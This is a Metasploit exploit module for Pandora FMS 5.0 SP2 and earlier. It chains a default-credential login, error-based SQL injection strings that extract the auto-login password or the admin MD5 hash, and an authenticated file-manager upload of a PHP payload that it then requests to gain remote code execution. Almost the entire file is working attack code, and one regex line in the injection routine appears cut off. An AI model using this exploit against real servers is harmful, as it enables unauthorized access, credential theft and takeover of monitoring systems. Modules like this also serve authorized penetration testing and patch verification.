require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Pandora FMS SQLi Remote Code Execution',
'Description' => %q{
This module attempts to exploit multiple issues in order to gain remote
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
to authenticate using default credentials is performed. If this method
fails, a SQL injection vulnerability is leveraged in order to extract
the "Auto Login" password hash. If this value is not set, the module
will then extract the administrator account's MD5 password hash.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Lincoln <Lincoln[at]corelan.be>',
'Jason Kratzer <pyoor[at]corelan.be>'
],
'References' =>
[
['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
['URL', 'http://blog.pandorafms.org/?p=2041']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Pandora FMS version <= 5.0 SP2', {}]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 50000,
'DisableNops' => true,
},
'DisclosureDate' => "Feb 1 2014",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
], self.class)
end
def uri
target_uri.path
end
def check
vprint_status("#{peer} - Trying to detect installed version")
version = nil
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/
if res.body =~ /<div id="ver_num">v(.*?)<\/div>/
version = $1
else
return Exploit::CheckCode::Detected
end
end
unless version.nil?
vprint_status("#{peer} - Pandora FMS #{version} found")
if Gem::Version.new(version) <= Gem::Version.new('5.0SP2')
return Exploit::CheckCode::Appears
end
end
Exploit::CheckCode::Safe
end
def authenticate
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => {
'login' => "1",
},
'vars_post' => {
'nick' => datastore['USER'],
'pass' => datastore['PASS'],
'Login' => 'Login',
}
})
return auth_succeeded?(res)
end
def login_hash
clue = rand_text_alpha(8)
sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
sqli << "BY x)a) AND 'msf'='msf"
password = inject_sql(sqli, clue)
if password && password.length != 0
print_status("#{peer} - Extracted auto login password (#{password})")
else
print_error("#{peer} - No auto login password has been defined!")
return false
end
print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => {
'loginhash' => 'auto',
},
'vars_post' => {
'loginhash_data' => Rex::Text.md5("admin#{password}"),
'loginhash_user' => 'admin',
}
})
return auth_succeeded?(res)
end
def auth_succeeded?(res)
if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
print_status("#{peer} - Successfully authenticated!")
print_status("#{peer} - Attempting to retrieve session cookie")
@cookie = res.get_cookies
if @cookie.include?('PHPSESSID')
print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")
return true
else
print_error("#{peer} - Error retrieving cookie!")
end
else
print_error("#{peer} - Authentication failed!")
end
false
end
def extract
clue = rand_text_alpha(8)
hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join
sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
sqli << "x)a) AND 'msf'='msf"
password = inject_sql(sqli, clue)
if password && password.length != 0
print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")
else
print_error("#{peer} - Unable to extract password hash!")
return false
end
end
def inject_sql(sql, fence_post)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'mobile', 'index.php'),
'vars_post' => {
'action' => 'login',
'user' => sql,
'password' => 'pass',
'input' => 'Login'
}
})
result = nil
if res && res.code == 200
match = res.body.match(/(?<=
if match
result = match[1]
else
print_error("#{peer} - SQL injection failed")
end
end
result
end
def upload
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => {
'sec' => 'gsetup',
'sec2' => 'godmode/setup/file_manager'
}
})
if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/
form = $1
if form =~ /(?<=name="hash" type="hidden" value=")(.*?)(?=" \/>)/
hash = $1
else
print_error("#{peer} - Could not extract hash from response!")
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/
hash2 = $1
else
print_error("#{peer} - Could not extract hash2 from response!")
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/
real_directory = $1
else
print_error("#{peer} - Could not extract real_directory from response!")
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
else
print_error("#{peer} - Could not identify upload form!")
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
@payload_name = "#{rand_text_alpha(8)}.php"
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)
post_data.add_part('', nil, nil, 'form-data; name="unmask"')
post_data.add_part('Go', nil, nil, 'form-data; name="go"')
post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')
post_data.add_part('images', nil, nil, 'form-data; name="directory"')
post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')
print_status("#{peer} - Attempting to upload payload #{@payload_name}...")
res = send_request_cgi({
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(uri, 'index.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'vars_get' => {
'sec' => 'gsetup',
'sec2' => 'godmode/setup/file_manager'
}
})
if res && res.code == 200 && res.body.include?("Upload correct")
register_file_for_cleanup(@payload_name)
print_status("#{peer} - Successfully uploaded payload")
else
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
end
def exploit
print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")
auth = authenticate
unless auth
print_status("#{peer} - Attempting to extract auto login hash via SQLi")
auth = login_hash
end
unless auth
print_status("#{peer} - Attempting to extract admin password hash with SQLi")
extract
fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!")
end
print_status("#{peer} - Uploading PHP payload...")
upload
print_status("#{peer} - Executing payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'images', @payload_name),
'cookie' => @cookie
}, 1)
end
end
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